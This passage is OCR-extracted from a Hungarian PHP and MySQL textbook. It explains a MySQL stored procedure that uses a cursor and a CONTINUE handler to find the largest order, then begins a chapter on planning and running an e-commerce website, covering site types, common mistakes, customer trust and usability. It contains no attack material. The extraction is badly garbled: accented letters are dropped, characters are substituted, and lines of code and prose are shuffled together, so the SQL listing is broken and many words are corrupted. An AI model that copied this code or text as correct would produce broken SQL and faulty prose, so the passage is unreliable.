delimiter ll CREATE PROCEDURE legnagyobb_rendeles(OUT legnagyobb id INT) BEGIN DECLARE aktualis id INT; DECLARE aktualis_osszeg FLOAT; DECLARE l_osszeg FLOAT DEFAULT 0.0; DECLARE l id INT; DECLARE kesz INT DEFAULT 0; DECLARE CONTINUE HANDLER FOR SQLSTATE

'02000'

SET kesz

l;

Halad MySQL-programozs

215

DECLARE

cl CURSOR FOR SELECT rendelesid,

csszeg FROM megrendelesek;

OPEN

cl;

REPEAT FETCH

cl INTO

aktualis id,

aktualis csszeg;

IF NOT kesz THEN IF aktualis_csszeg SET l


>

l_csszeg THEN

csszeg=aktualis csszeg;

SET l id=aktualis id; END END IF;

IF; REPEAT;

UNTIL kesz END CLOSE cl;

SET legnagycbb_id=l

id;

END ll
delimiter

Ez a kd vezrlsi szerkezeteket (feltteles utastsokat s ciklusokat), kurzorokat s DECLARE kezelker hasznl. Nzzk r sorrl sorra! Az eljrs elejn szmos, az eljrson bell hasznland, helyi vltozt deklarlunk. Az aktualis_id s az aktualis_
osszeg

13

vltoz trolja az aktulis sor rendelesid s csszeg rtkr. Az l_csszeg s az l_id vltoz a legnagyobb

rendelsi rtket s az ahhoz tartoz rendelsazonostt trolja. Mivel a legnagyobb rtket gy llaptjuk meg, hogy minden
rtker sszehasonltunk az addig legnagyobba!, a vltoz kezdeti rtkt nullra llg uk.

A kvetkezknt deklarlt vltoz a kesz, amelynek kezdeti rtke nulla (false ) . Ez a ciklus vgr jelz vltoz. Amikor elfogynak a megvizsgland sorok, az rtkt l-re ( true ) llguk. A
DECLARE CONTINUE HANDLER FOR SQLSTATE

'02000'

SET kesz =

l;

sort declare

kezelnek (deelare hand/er) nevezzk. Ezek a kivtelekhez hasonl szerepet tltenek be trolt eljrsokban. Lreznek mg continue (folytats) s exit (kilps) kezelk. A continue kezelk- gy az itt lthat is-elvgzik a meghatrozorr mvele
tet, majd folytatjk az eljrs vgrehajtst. Az exit kezelk kilpnek a legkzelebbiBEGIN...END blokkbl. A declare kezel kvetkez rsze hatrozza meg, hogy mikor lesz a kezel meghvva. Pldnkban akkor, amikor elrjk az
sqlstate

'02000 '-t. Bizonyra rdekldsre tart szmot, hogy ez mit jelent, mert nagyon titokzatosan hangzik! Azt jelen
NOT FOUND

ri, hogy az eljrs akkor hvja meg a kezelt, an1ikor nem tall tbb sort. Az eredmnyhalmazt soronknt dolgozzuk fel, s ami kor elfogynak a feldolgozsra vr sorok, meghvjuk ezt a kezdt. Ugyanezt rjk el a FOR Tovbbi lehetsg az SQLWARNING s az SQLEXCEPTION.
A kvetkez dolog, amirl beszlnnk kell, a

meghatrozsval is.

rolja (pldul olyat, amilyet a mysqli_query


a mysqli_fe t ch_ rcw

kurzor (cursor). A tmbhz hasonl kurzor lekrdezs eredmnyhalmazr t () ad vissza), s lehetv teszi, hogy soronknt feldolgozzuk azt (ahogy pldul
csszeg FROM megrendelesek;

()

fggvnnyel is tehetnnk). Gondoljuk vgig az albbi kurzort:


SELECT

DECLARE cl

CURSOR

FOR

rendelesid,

Ennek neve cl. Ez pusztn annak meghatrozsa, hogy mit fog trolni. A lekrdezst ezzel mg nem futtattuk le. A kvetkez sor
OPEN cl;
az, amelyik

rnylegesen lefuttaga a lekrdezst. Ahhoz, hogy egyenknt megkapjuk az egyes adatsorokat, FETCH utastst kell

funamunk. REPEAT ciklusban tesszk ezt. Pldnkban a ciklus a kvetkezkppen nz ki:


REPEAT

UNTIL kesz END REPEAT;

Figyeljk meg, hogy a felttelt (until kesz) a ciklus vgig nem vizsgljuk! A trolt eljrsok a while ciklusokat is tmogagk, ezek formja:
WHILE feltetel DO

216

13. fejezet

END

WHILE;

LOOP ciklusokat is hasznlhatunk, amelyek az albbi szerkezettel rendelkeznek: LOOP

END LOOP

Ezek a ciklusok nincsenek beptett felttelekkel elltva, hanem leave; zk meg, hogy a trolt eljrsokban for ciklusokat nem hasznlhatunk! Folytassuk pldnkat! A kvetkez kdsor egy adatsort fog meg:
FETCH cl INTO aktualis_id,
aktualis_osszeg;

utasts segtsgvel lphetnk ki bellk. Jegyez

Ez a kd a kurzorlekrdezs egy sort keresi vissza. A lekrdezs ltal visszaadott kt tulajdonsgot a megadott kt helyi vltozban trolja el. Kt IF utastssal ellenrizhegk, hogy visszakaptunk-e sort, illetve az aktulis rtket sszehasonlthatjuk az eltrolt leg nagyobb rtkkel:
IF NOT kesz THEN IF aktualis asszeg
>

l asszeg THEN

SET l osszeg=aktualls osszeg; SET l id=aktualis id; END IF; END IF;

Vegyk szre, hogy a vltozk rtkeit SET urasrssal llguk be!

13

A trolt eljrsok az IF...THEN szerkezeten tlmenen az IF...THEN...ELSE szerkezetet is tmogagk. Ez a kvet kezkppen nz ki:
IF feltetel THEN [ELSEIF feltetel THEN] [ELSE]

END IF

Ltezik mg a CASE utasts, aminek a kvetkez a formja:


CASE ertek WHEN ertek THEN utasitas [WHEN ertek THEN utasitas . . [ELSE utasitas] END CASE
.

Trjnk vissza pldnkhoz! A ciklus befejezdse utn egy kis rendraks vr rnk:
CLOSE cl; SET legnagyobb_id=l id;

A CLOSE utasts lezrja a kurzort. Vgl belltjuk az OUT paramtert a kiszmtott rtkre. Ideiglenes vltozknt nem hasznlhatjuk ezt a paramtert, csak a vgleges rtk trolsra. (Az ilyen hasznlat nhny ms programozsi nyelvhez, pldul az Adhoz hasonl.) Ha az itt bemutatott mdon ltrehozzuk az eljrst, ugyangy hvhag uk meg, ahogy tettk az elz eljrssal:
CALL legnagyobb_rendeles(@l); SELECT @l;

Az itt ltharhoz hasonl kimenetet kell kapnunk:


+------+

@l

+------+

+------+

Ellenrizzk magunknak, hogy helyes volt-e a szmts!

Halad MySQL-programozs

217

Tovbbi olvasnival
A fejezeeben rviden megismerkedtnk a trole eljrsok mkdsve!. A tmrl bvebben is olvashacunk a MySQL kzi knyvben. Ezt rdemes tanulmnyozni akkor is, ha a szecernnk tovbbi informcit kapni. Amennyiben a cranzakcik s az adarbzis-konzisztencia rdekel bennnket, keressnk egy olyan j knyvec a relcis adac bzisokrl, minr pldul a C. J. Date ltal jegyzett An Introduction to Database Systems!
LOAD DATA INFILE

urasrsrl vagy a klnbz trolmocorokrl

Hogyan tovbb:
ttekintettk a PHP s a MySQL alapjait. Az E-kereskedelmi honlap zemeltetse cm 14. fejezetben az elektronikus kereske delem s a biztonsg szemszgbl vizsgljuk meg, hogyan hozzunk ltre olyan weboldalakac, amelyek mgct adarbzis ll.

13

III
E kereskedelem s biztonsg
...

14

E-kereskedelmi honlap zemeltetse

15

Az e-kereskedelem biztonsgi krdsei

16

Webes alkalmazsok biztonsga

17

Hitelests megvalstsa PHP-vel s MySQL-Iel

18

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-Iel

19

A fjlrendszer s a kiszolgl elrse

14
Ekereskedelmi honlap zemeltetse
A fejezetben azzal a krdskrrel foglalkozunk, hogyan lehet hatkonyan megtervezni, ltrehozni s mkdtetni egy e-keres kedelmi honlapot. Megvizsgljuk a tervet, a lehetsges kockzatokat, illetve megnzzk, hogyan tarthatja el nmagt egy ilyen weboldal. Az albbi fbb tmakrkrl olvasharunk: Az e-kereskedelmi oldalunk clja Az zleti weboldalak tpusai Kockzatok s veszlyforrsok megismerse A megfelel stratgia kivlasztsa

Mi a clunk:
Mielrt tl sok idt fordtannk arra, hogy weboldalunk megvalstsnak rszletein tprengnk, hatrozort clokkal, illetve az ezekhez a clokhoz elvezet, kellen rszleres tervvel kell rendelkeznnk. Knyvnkben azzal a feltevssel lnk, hogy zleti weboldalt kvnunk kszteni. Egyik clunk gy minden bizonnyal a pnzkeress. Sokflekppen kzethetnk zleti cllal az internethez. Elkpzelhet, hogy offline szolgltatsainkat szeretnnk reklmoz ni, vagy kzzelfoghat termkeket szetetnnk online rtkesteni. Lehet, hogy online rtkesthet s szolglrathat termkkel rendelkeznk. Az is lehet, hogy honlapunk clja nem kzveclenl a bevtelteremts, hanem offline tevkenysgeket tmogat, vagy a jelenlegi lehetsgek egy olcsbb alrernatvjt jelenti.

Az zleti weboldalak tpusai


Az zleti weboldalak jellemzen az albbi feladatok kzill ltnak el egyet vagy tbbet: Cges informci megjelentse online katalgusknt

Termkekre vagy szolgltatsokra irnyul rendelsek felvtele Szolgltatsok vagy digitlis termkek rtkestse Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz Kltsgcskkents

Az egyes weboldalak klnbz rszei a fenti kategrik kzl tbbnek is megfelelnek. Nzzk meg ezeknek a kategrik nak a rszleres lerst, illetve azt, hogyan lehet ezeket gy alkalmazni, hogy abbl bevtele vagy ms elnye szrmazzk szerve zetnknek! A knyv ezen rsznek clja, hogy segitsen megfogalmazni cljainkat. Mirt van szksgnk weboldalra? A weboldalunkra tervezert funkcik mivel jrulnak hozz vllalkozsunk sikerhez?

Cges informci megjelentse online katalgusknt


A 1990-es vek elejn szinte minden zleti weboldal pusztn online katalgus vagy rtkestsi eszkz szerept tlttte be. Mind a mai napig ez az zleti weboldalak leggyakoribb formja. Akr els internetes prblkozsknt, akr olcs reklmozsi lehetsgknt kezelik, sok cg szmra van ltjogosultsga egy ilyen tpus oldal zemeltetsnek. A brochureware, azaz a nyomtatort katalgus vagy tjkoztat fzet elektronikus vltozatnak tekinthet honlapok a web oldal formjra alaktort nvjegykrtyrl az tfog marketinginformcikat knl oldalakig terjednek. Az ilyen honlap clja s ltnek pnzgyi oka, hogy a potencilis gyfelek kapcsolatba lphessenek a cggel. Kzvetlen l nem termelnek bevtelt, de hozzjrulhatnak a cg ltal hagyomnyos ton szerzert bevtelekhez.

222

14.fezet

Egy ilyen honlap kifejlesztse mszaki szempontbl nem tl nagy kihvs.A marketing ms terleteirl ismert problmkkal kell itt is megkzdeni.Az ilyen oldalak esetben leginkbb az albbi hibkat szoktk elkvetni:

Elmulasztjk kzztenni a fontos informcikat Gyenge minsg megjelentssel llnak el Nem vlaszolnak a honlap ltal generlt megkeressekre Hagyjk a honlapot megregedni Elmulasztjk nyomon kvetni az oldal ltogatotcsgt

Fontos informci kzzttelnek elmulasztsa

Mit keresnek a ltogatk, amikor megnyitjk egy cg honlapjt Attl fggen, hogy mr milyen informcikkal rendelkeznek, lehet, hogy rszletes termkspecilikcikra van szksgk, de az is lehet, hogy olyan egyszer adatokra, mint pldul az elrhe tsg. Sok weboldal semmilyen hasznos informcit nem kzl, vagy ppen a lnyegi dolgokrl feledkezik meg.Egy honlapnak legalbb azt tudatni kell a ltogatkkal, hogy mivel foglalkozik a cg, milyen fldrajzi terletet szolgl ki, s hogyan lehet felven ni vele a kapcsolatot.

Gyenge minsg megjelents

14

Az interneten senki nem tudja, hogy kutya vagy- szl a rgi monds.1 Ugyangy, ahogy a kisvllalatok (vagy a kucyk) na gyobbnak s meggyzbbnek tnhetnek az interneten, a nagyvllalatok is tnhetnek kicsinek, amatrnek s rdektelennek, ha gyenge a honlapjuk Cgnk mrettl fggetlenl gyelni kell arra, hogy honlapunk magas sznvonal legyen.A szveget olyasvalaki rja s ellenrizze le, aki magas szinten beszli az adott nyelvet! A kpek legyenek rendezettek s jl lthatk, s gyorsan tltdjenek le! zleti cl oldalon alaposan meg kell fontolni a kpi elemek s sznek hasznlatt - gyelve arra, hogy illeszkedjenek a cg ltal kpviselni kivnt imzshoz.Az animcival csnjn bnjunk, st jobb, ha egyltaln nem hasznlunk.Soha ne jtsszunk le hangot anlkl, hogy a felhasznl ezt kifejezetten krnl Br azt nem fogjuk tudni elrni, hogy az oldal minden gpen, minden opercis rendszeren s bngszben pontosan ugyangy jelenjen meg, gyeljnk r, hogy szabvnyos HTML vagy XHTML kdot hasznljunk, hogy ltogatink dnt tbbsge hiba nlkl lssa az oldalt megjelenni! Fontos, hogy tbbfle kpernyfelbontsban s minden elterjedt bngsz opercis rendszer kombinciban teszteljk az oldal megjelenst.

A honlap ltal generlt megkeressek vlasz nlkl hagysa

A kivl gyflszolglat az interneten is legalbb olyan fontos szerepet jtszik az gyflszerzsben s -megtartsban, mint az zleti vilg ms terletein.Kis- s nagyvllalatok egyarnt eikvetik azt a hibt, hogy feltntetnek honlapukon egy e-mail c mer, majd elmulasztjk ellenrizni s idben megvlaszolni az erre a cmre rkez leveleket. Az embereknek a vlaszid tekintetben eltr elvrsai vannak az e-maiilel s a postai levllel szemben. Ha az e-maileket nem ellenrizzk napi rendszeressggel, s nem vlaszolunk rjuk, a feladk azt fogjk gondolni, hogy megkeress k nem fon tos szmunkra. A weboldalakon kzztett e-mail cmeknek ltalnosnak kell lennik, pozcihoz vagy cges rszleghez, nem pedig egy adott szemlyhez kell ktdnik. Vajon mi trtnik a kovacs. j anos@minta. hu cmre kldtt e-maillel, ha Jnos mr nem dol gozik a cgnl A sales@minta. hu cmre kldtt e-mailt minden bizonnyal megkapja az utdja is. Radsul egynl tbb munkatrshoz is irnythat, gy biztosan idben vlasz szletik r. A weboldalakra kirakott e-mail cmekre minden bizonnyal rengeteg kreden levelet, spamet fogunk kapni. Erre is gondol junk, amikor elhatrozzuk azt, hogyan tovbbtsuk vagy kezeljk az ezekre a cmekre kldtt leveleket! A kzvetlen e-mail cmek helyett rdemes lehet rlap alap kapcsolatfelvteli lehetsget adni az oldalon, mert ezzel cskkenthet a kreden leve lek szma.

erederileg a

l Egy internettel kapcsolatos.rgi monds" termszetesen nem lehet tl rgi. Ez az idzet Peter Sreiner humoros rajzbl szrmazik, amely The New Yorker 1993. jlius 5-ei szmban jelent meg.

E-kereskedelmi honlap zemeltetse


Az oldal elavuLisa

223

Gondoskodni kell arrl, hogy honlapunk megrizze frissessgc s naprakszsgc. A tartalmat rendszeresen vltoztaeni kell. A szervezeti vltozsokat ugyangy tkrznie kell a honlapnak. Egy ,.beporosodocc oldal" nem sztnz visszatrsre, s azt a gyant kelti a lcogackban, hogy az informcik jelents rsze mr elavult, nem aktulis. Az egyik mdszer arra, hogy honlapunk ne veszcse el akcualicsc, ha sajt kezleg frisstjk az oldalakat. Egy msik lehet sg dinamikus oldalak ltrehozsa olyan programozsi nyelvvel, minc pldul a PHP. Az aktulis informcikhoz folyamarosan hozzfr kd segtsgvel oldalaink naprakszek maradhatnak.
A ltogatottsg nyomon kvetsnek elmulasztsa

Honlapunk ltrehozsa szp s j, de honnan fogjuk tudni, hogy megrce-e a pnzt s az energit< Klnsen egy nagyvllalac nak ksztett honlap esetn elbb vagy utbb neknk fogjk szegezni a krst, hogy szmszerscsk, mekkora teket kpvisel az oldal a vllalat szmra. Hagyomnyos markeringkampnyok esetben a nagy szeevezetek tbb tzezer dollrt kltenek piackutatsra rszben a kam pny kezdete eltt, rszben a kampny utn, hogy mrni tudjk a hatkonysgt. Webes vllalkozsunk mrettl s anyagi lehetsgeitl fggen az ilyen felmrsek a honlap tervezst s ltogatottsgnak rtkelst is megknnythetik. Mindazonltal szmos egyszerbb vagy olcsbb lehetsg kzl vlaszthacunk: A szervernaplk vizsglata A webes szerverek rengeteg adatot trolnak a hozzjuk rkez krsekrL Ezek nagy rsze - marketingclra -hasznlhatatlan, s nyers llapoeukban pusztn mennyisgk miacc is nehezen rtkelhetk. Hogy rtelmes sszegzse nyerjnk ki a naplfjlokbl, naplfjlelemz segdalkalmazsra van szksgnk. A kt legis mertebb, ingyenes program az Analog (a http://www.analog.cx/ cmen rhet el) s a Webalizet (http://www.mrunix. net/webalizer/). Az olyan zleti cl s fizets programok, mint a Summary (http://summary.net) vagy a WebTrends Analyrics (http://www.webtrends.com/) reljesebb informcit adnak. A naplfjlelemz megmutatja, idben hogyan vltozik honlapunk ltogatottsga, s mely oldalakat nzik meg a ltogatk. Eladsok figyelemmel kvetse - Online katalgusunktl azt vrjuk, hogy eladsokat generljon. Az rtkestsre gyakorolt hatst gy tudjuk megbecslni, ha sszehasonltjuk az oldal elindtsa eltti s utni rtkestsi szinteket. A hatst nyilvnvalan nehezebb mrni, ha ugyanabban az idszakban ms marketingtevkenysg is okozhatja az inga dozsokat. Felhasznli visszajelzsek gyjtse-Amennyiben megkrjk felhasznlinkat, minden bizonnyal rmmel elmond jk, mir gondolnak honlapunkrL Ha a visszajelzshez rlapot ksztnk szmukra, hasznos vlemnyeker gyjthetnk be. A visszajelzsek mennyisgr gy nvelhetjk, ha valahogyan sztnzzk a ltogatkat, pldul nyeremnyr sorso lunk ki a vlaszadk kzct. Adatgyjts reprezentatv felhasznlk krben A fkuszcsoportos beszlgetsek hatkony mdszert knlnak hon lapunk vagy a tervezett honlap prototpusnak rtkelsre. A fkuszcsoporros kuratshoz pusztn nhny nkntest kell sszegyjtennk, majd arra kell krni ket, hogy rtkeljk honlapunkat. Vlaszaikat s vlemnyeiket feljegyezve rckes adarokhoz juthatunk. A fkuszcsoportos kutats drga mulatsg lehet, amennyiben szakrt modertor vezeti, aki a potencilis rsztvevket rtkelve s szrve megprblja garantlni, hogy demogrfiai jellemzikben s szemlyisgkben poncosan reprezentljk az alapsokasgot vagy a clkznsget, majd hozzrt mdon megincerjvolja ket. A fkuszcsoportos beszlgetsek ugyanakkor szinte ingyen is elrhetk, amatr is moderlhatja azokat, s olyan rsztvevkkel is lefolyrarhatk, akiknek a clpiachoz val viszonyuk nem ismert. Ha megfizetjk szakrt piackutat cg szolglatait, az hozzrten vgrehajtott s hasznlhat eredmnyeket hoz fkusz csoportos kutatst eredmnyez, m nem ez az egyetlen jrhat t. Ha sajt magunk folytatunk fkuszcsoporros beszlgetse ket, vlasszunk egy gyes modertort! Kivlarr kell, hogy rtsen az emberek nyelvn, s nem szabad, hogy brmilyen mdon elfogult vagy rintett legyen a kucats eredmnyt illeten. A csoport ltszmt 6-10 f kzte rdemes tartani. A beszlge rsen elhangzottakat ajnlott rgzteni, hogy a modertornak csak arra kelljen figyelnie, hogyan irnytja a beszlgetst. Az gy kapott eredmny pontosan annyira lesz relevns s hitelt rdeml, amennyire a csoportban rsztvev szemlyek mintja. Ha termkeinket alkalmazottaink bartai vagy csaldtagjai rtkelik, akkor nem valszn, hogy az eredmny megfelelen mucacja a nagykznsg vlemnyt.
-

14

Termkekre vagy szolgltatsokra irnyul rendelsek felvtele


A lenygz online megjelens ltrehozsa utn a kvetkez logikai lps lehetv tenni gyfeleinknek az online rende lst. Az rtkestk pontosan tudjk, mekkora annak fontossga, hogy a vsrlkbl azonnali dntst csikarjunk ki. Minl

224

14. fejezer

tbb idr hagyunk nekik, hogy tgondoljk a vsrlsi dnrsket, annl valsznbb, hogy ms zletekben is szrnznek, vagy egyszeren meggondoljk magukat. Ha az gyfelek szerernk megszerezni rermknker, akkor sajt rdeknk, hogy a lehet leggyorsabb s legegyszerbb tegyk a vsrlsi folyamatot. Ha arra knyszertjk ket, hogy fellljanak szm tgpkrl, s trcszzanak egy telefonszmot, vagy keressk fel zletnket, akkor megakasztjuk a folyamatot. Ha online hirdetsnk meggyzte a fogyasztkat, hogy vsroljanak, akkor engedni kell, hogy azonnal, honlapunk bezrsa eltt meg tehessk azt. Az online rendelsfelvtel rengeteg cg szmra elnyt jelenthet. Minden vllalkozs megrendelseket szereme kapni. Az online rendelsfelvtel lehetsge nvelheti rtkestseinket vagy cskkentheti rtkestink leterheltsgt. Az online rende lsfelvtelhez szksges krnyezet termszetesen kltsgekkel jr: dinamikus honlap kifejlesztse, a fizetsi mdok megszer vezse s az gyflszolglat mind pnzbe kerl. Az online rtkests egyik legvonzbb jellemvonsa, hogy ezen kltsgek nagy rsze pontosan ugyanannyi lesz ezer s egymilli rendels esern is. Az elfogadhat kltsgszimhez ppen ezrt megfelel mennyisgben rtkesthet termkre vagy szaigitatsra van szksg. Mieltr nagyon belelnnk magunkar az elektronikus kereskedelem gondolatba, prbljuk vgig gondolni, hogy termkeink alkalmasak-e online rtkestsre! Interneten keresztl leginkbb olyan termkeker s szolglratsokat vsrolunk, mint a knyvek s a magazinok, a szm tgpes szoftverek s hardverek, zene, ruhk, utazs s belpjegyek (sznhz, mozi, koncert stb.). Csak azrt, mert term knk nem tartozik ezen kategrik kz, nem kell elkeserednnk. Ezek a piacok mr gyis telitve vannak jl (s kevsb jl) ismert mrkkkal. Mindazonltal rdemes lehet vgiggondolni, mirt pont ezek a legkelendbb portkk az interneten. Az idelis e-kereskedelmi termk nem romland s egyszeren szlthat, elg drga ahhoz, hogy elfogadhatv tegye a szlltsi klrsgeket, de annyira mgsem drga, hogy a vsrl knyszert rezzen arra, hogy vsrls eltt fizikailag is megvizsglja. A legjobb e-kereskedelmi termkek az rucikkek. Ha valaki avokdt szereme venni, minden bizonnyal sze reen kivlasztani (megfogni, megszagolni) az adott darabot. Nem minden avokd egyforma. Egy knyv, CD vagy szaftver ltalban tkletesen megegyezik a tbbi pldnnyal - feltve persze, hogy ugyanaz a cmk. A vsrlk nem ignylik, hogy kezkbe vegyk a beszerezni kivnt darabot. Az e-kereskedelmi termkeknek emellett az internet-felhasznlk rdekldsi krbe kell tartozniuk. A knyv rsa idejn a clkznsget a munkabrrel rendelkez, fiaralabb felnttek alkotjk, akik tlag feletti jvedelemmel brnak, s vrosban

14

lnek. Idvel azonban szmthatunk r, hogy az online kznsg egyre inkbb megegyezik majd a teljes lakossggal. Egyes termkek soha nem fognak megjelenni az e-kereskedelemmel foglalkoz kutatsokban, mgis sikeresen rtkesthe rk online. Ha termknk csak egy szk piaci rteg szmra vonz, az internet idelis mdszer lehet a vsrlk elrsre. Ha lakhelynkn csak tz ember gyjt 1980-as vekbeli jrkrobotokat, egy ezeket forgalmaz honlap akr sikeres is lehet, ha minden ms vrosban is legalbb ugyanennyien gyjtik ket. Vannak olyan termkek, amelyek online rtkestse nagy valsznsggel nem fog szmunkra sikert hozni. Az olcs, romland rucikkek, pldul a zldsg s a gymlcs nem tnik tl j vlasztsnak, br ez nem riasztja el az embereket, hogy prblkozzanak - tbbnyire, persze, sikertelenl. Egyes termkkategrik tkletesen megfelelek arra, hogy brochureware honlapot ksztsnk hozzjuk, de online rendelsre nem lesznek alkalmasak. Nagy, drga rucikkek tartoznak ide - pldul az autk s az ingatlanok -, amelyek rengeteg utnajrst ignyelnek a vsrls eltt, tl drgk ahhoz, hogy szemrevtelezs nlkl megrendeljk, s leszlltani sem tl egyszer ket. Szmtalan akadlyt kell lekzdennk a potencilis vsrlk meggyzshez. Ilyenek lehetnek: Megvlaszolatlan krdsek Bizalomhiny Nem egyszer hasznlharsg Kompatibilitshiny Ha a felhasznlkat ezek brmelyike visszatartja, nagy valsznsggel vsrls nlkl fognak tvozni honlapunkrL

Megvlaszolatlan krdsek
Ha egy potencilis vsrl nem kap azonnal vlaszt valamely krdsre, minden bizonnyal otthagyja az oldalt. Ennek a megl laprsnak szmos kvetkezmnye van. Figyeljnk arra, hogy oldalunk jl rendezett, jl felptett legyen! Az els alkalommal ott jr ltogat knnyen megrallja, amit keres! Arra is gyelnnk kell, hogy teljes kr informcit adjunk, ugyanakkor ne terheljk le tlzottan a ltogatkat. Az interneten az emberek hajlamosak gyorsan tfutni a tartalmat, jellemzen nem szaktk alaposan vgigolvasni, ezrt t rekedjnk a tmrsgrel A hirdetsi felletek tbbsgnl gyakorlati korltai vannak, hogy mennyi informcit kzlhetnk. A honlapokra ez nem rvnyes. Itt a kt f korlt kzl az egyik az informci ltrehozsnak s frisstsnek a kltsge, a m sik pedig az, hogy mennyire tudjuk az informcitengert gy rendezni, tagolni s sszekapcsolni, hogy a ltogatk be tudjk

E-kereskedelmi honlap zemeltetse

225

fogadni. Nagy a ksrts, hogy honlapunkra olyan, soha nem alv, automatikus rtkestknt gondoljunk, aknek radsul mg fizet ni sem kell, ugyanakkor rendkvl fontos az gyflszolglat. sztnzni kell a ltogatkat, hogy krdezzeneki Prbljunk meg nekik azonnali vagy szinte azonnali vlaszt adni telefonon, e-mailben, chaten vagy ms knyelmes mdon!

Bizalomhiny
Ha a ltogat szmra ismeretlen a mrkanevnk, mirt bzna bennnkr Brki ssze tud lltani egy honlapot. Egy brochureware oldal tolvasshoz nem szksges bizalom, de a megrendels mr teljesen ms trtnet. Honnan tudja a ltogat, hogy megbzhat a vllalkozs, s nem a fentebb emltett kurya ll az oldal mgttr Online vsrlskor szmos krds foglalkoztatja az embereket:

Mi fog trtnni a szemlyes adataikkal rtkestjk valaknek, arra hasznljuk, hogy egy csom reklmot kldjnk
nekik, vagy nem biztonsgos mdon troljuk, s gy msok is hozzfrhernekr Fontos kzlni a ltogatkkal, hogy mit resznk s mit nem tesznk az adataikkal. Ezt az informcit adatvdelmi nyilatkozatnak (privacy policy) szoks nevez ni, s honlapunk knnyen megrallhat rszre kell kirakni.

Megbzhat vllalkozs vagyunk Ha vllalkozsunkat regisztrltuk a megfelel szerveknl, rendelkeznk irodval,


raktrral s relefonszmmal, mr tbb ve mkdnk, akkor kevsb valszn, hogy csak tvers az egsz oldal- szem ben egy olyan vllalkozssal, amely pusztn egy honlapbl s egy postafikcmbl ll. Ne felejtsk el ezeket az adatokar megadni sajt magunkrl!

Mi trtnik, ha a vsrl nem elgedett a termkkel? Milyen felttelekkel szmthar pnzvisszatrtsre? Ki fizeti
a szllrsi djarr Internetes kereskedelem esetn a trvny a hagyomnyos vsrls esern rvnyesnl szlesebb kr elllsi jogot ad a vsrlknak. Sok online kereskeds felttel nlkl visszaveszi a rermker, ha a vev brmilyen oknl fogva elgedetlen azzal. (Magyarorszgon a jelenlegi szablyozs szerint a vev 8 napon bell lhet elllsi jogval, amennyiben sajt kltsgn, bontatlanul vagy megbontott csomagolsban, de hinytalanul visszakldi a termket az eladnak.) Gondoljuk vgig, hogy milyen arnyban llhat egymssal a pnzvisszatrts kltsge s a liberlis visszatr tsi szablyzat ltal okozott forgalomnvekedsi Brhogyan dntnk is ebben a krdsben, gyeljnk, hogy a felrteieket pontosan megjelenrsk oldalunkon! Rnk bzhatjk az

gyfelek a bankkrtyaadataikat Az interneren vsrlk legnagyobb bizalmi agglya, hogy elkld

14

jk-e bankkrtyjuk adatait az interneten keresztl. ppen ezrt olyan vllalkozs ltszatr kell kelrennk, amely gyel a biztonsgra, s rnylegesen biztonsgosan kell kezelni gyfeleink bankkrtyir. Ez rninimum azt jelenti, hogy Secure Sockers Layer (SSL) protokollon keresztl kell az adatokar a felhasznl bngszjbl webes kiszolglnkra tovbb tani, illetve gondoskodnunk kell kiszolglnk hozzrt s biztonsgos felgyeletrL A ksbbiekben rszleresebben foglalkozunk ezzel a tmval.

Nem egysur hasznlhatsg


Nincs kr egyforma ember, gy vsrlink is eltr szmtgpes tapasztalattal, nyelvtudssal, mvelrsggel, memrival s ltsmddal rendelkeznek. Ebbl kifolylag az oldalunknak a lehet legegyszerbben hasznlharnak kell lennie. A hasznlha rsggal s a kezelfellet megtervezsvel kapcsolaros elvekrl egsz knyveket rnak, lljon itt mgis nhny irnymutats:

rizzk meg honlapunk egyszersgti Minl tbb lehetsget, hirdetst s a figyelem elterelsre alkalmas elemet
helyeznk a kpernyre, annl valsznbb, hogy sszezavarjuk a felhasznlt.

Olvashat szvegfajtt vlasszunk! Tiszta, egyszer bettpusokar hasznljunk! Ne lltsuk tl kicsire a szveget, s ne
feledjk, hogy a klnbz tpus szmtgpeken eltr mretben jelenhet meg!

Tegyk a rendelsi folyamatot a lehet legegyszerbbl A jzan sz csakgy, rnint a rendelkezsre ll rapasztalatok
azt sgjk, hogy rninl tbbet kell a vsrlknak a megrendelshez az egrrel kattintani, annl kevsb valszn, hogy vgigcsinljk a folyamatot. Cskkenrsk a lpsek szmr a minimlisan szksgesre, de ne feledjk, hogy az Amazon. com Amerikban szabadalommal2levdette az egy kattintssal trtn rendels folyamatt! (Az Amazon 1-Clicknek hvja a mdszert.) A szabadalmar sok honlap zemelterje lesen tmadja.

Ne engedjk, hogy a felhasznlk elvesztsk a fonalat! Adjunk nekik irnymurarst, s navigcis irnypontokkal
jelezzk szmukra, hol jrnak! Emeljk k azt a menpontot, amelyikben ppen tartzkodnak, gy segitve a tjkozd sukat! 2 U.S. Pacem and Trademark Office (Amerikai Szabadalomgyi s Mrkavdelmi Hivatal), 5960411 szm szabadalom: Kommunikcis hlzacon keresztli rendelsleads mdszere s rendszere.

226

14. fejezet

Ha a vsrlshoz kosr funkcit knlunk a ltogatknak, amelyben a fizets eltt virtulisan trolhatjk a kvlasztott ru cikkeket, figyeljnk r, hogy a kpernyn mindig lthat legyen egy, a bevsrlkosrra mutat hivatkozs!

Kompatibilitshiny
Ne felejtsk el oldalunkat klnbz bngszkben s opercis rendszerek alatt tesztelnil Ha valamely npszer bng szben vagy opercis rendszer alatt nem mkdik rendesen, akkor amatrnek fogunk tnni, s elvesztjk a potencilis piac jelents rszt. Ha oldalunk mr mkdik, a webszerver naplbejegyzseibl megllapthatjuk, milyen bngszket hasznlnak a ltoga tink. klszablyknt elmondhat, hogy ha oldalunkat az albbi bngszkben, opercis rendszerek alatt s eszkzkn ellenrizve semmilyen hibval nem tallkozunk, akkor a Felhasznlk nagy tbbsge szmra megfelelen jelenik meg olda lunk: Firefax (minden opercis rendszer alatt), az Internet Explorer (Windows) s aSafari (Macintosh) legfrissebb verzija, kzi szmtgp s egy olyan, csak szveget megjelent bngsz, mint pldul a Lynx. Ne felejtsk el oldalunkat klnbz kpernyfelbontsokban megjelenteni! Egyes Felhasznlk a nagyon nagy felbontsokat kedvelik, msok telefont vagy P DA-t hasznlnak. Nehz elrni, hogy ugyanaz az oldal megfelelen nzzen ki a 2048 kppont szlessg kpernyn s a 240 pixel szlesen is. Kerljk a vadonatj funkcik s eszkzk hasznlatr, kivve, ha vllalj uk, hogy az oldalt tbb vltozatban rjuk meg s tartjuk fenn! A szabvnyokkal kompatibilis HTML vagy XHTML mindenhol mkdni fog, de a rgebbi funkcikat nagyobb valsznsggel fogja megfelel mdon tmogaeni az sszes bngsz s eszkz.

Szolgltatsok vagy digitlis termkek rtkestse


